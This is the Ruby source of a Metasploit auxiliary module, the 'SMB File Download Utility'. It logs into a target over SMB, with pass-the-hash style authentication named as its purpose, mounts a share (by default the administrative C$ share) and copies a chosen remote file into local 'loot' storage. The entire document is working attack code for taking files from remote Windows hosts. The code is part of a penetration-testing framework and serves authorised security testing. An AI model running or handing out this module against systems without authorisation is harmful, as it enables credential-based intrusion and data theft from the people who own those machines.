77 lines
2.1 KiB
Ruby
77 lines
2.1 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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# Exploit mixins should be called first
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include Msf::Exploit::Remote::SMB
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include Msf::Exploit::Remote::SMB::Authenticated
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include Msf::Auxiliary::Report
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# Aliases for common classes
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SIMPLE = Rex::Proto::SMB::SimpleClient
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XCEPT = Rex::Proto::SMB::Exceptions
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CONST = Rex::Proto::SMB::Constants
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def initialize
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super(
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'Name' => 'SMB File Download Utility',
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'Description' => %Q{
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This module downloads a file from a target share and path. The usual reason
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to use this module is to work around limitations in an existing SMB client that may not
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be able to take advantage of pass-the-hash style authentication.
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},
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'Author' =>
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[
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'mubix' # copied from hdm upload_file module
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],
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'License' => MSF_LICENSE
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)
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register_options([
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OptString.new('SMBSHARE', [true, 'The name of a share on the RHOST', 'C$']),
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OptString.new('RPATH', [true, 'The name of the remote file relative to the share'])
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], self.class)
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end
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def smb_download
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print_status("Connecting to the #{rhost}:#{rport}...")
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connect()
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smb_login()
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print_status("Mounting the remote share \\\\#{datastore['RHOST']}\\#{datastore['SMBSHARE']}'...")
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self.simple.connect("\\\\#{rhost}\\#{datastore['SMBSHARE']}")
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print_status("Trying to download #{datastore['RPATH']}...")
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data = ''
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fd = simple.open("\\#{datastore['RPATH']}", 'ro')
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begin
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data = fd.read
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ensure
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fd.close
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end
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fname = datastore['RPATH'].split("\\")[-1]
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path = store_loot("smb.shares.file", "application/octet-stream", rhost, data, fname)
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print_good("#{fname} saved as: #{path}")
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end
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def run
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begin
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smb_download
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rescue Rex::Proto::SMB::Exceptions::LoginError => e
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print_error("Unable to login: #{e.message}")
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rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
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print_error("Unable to download the file: #{e.message}")
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end
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end
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end
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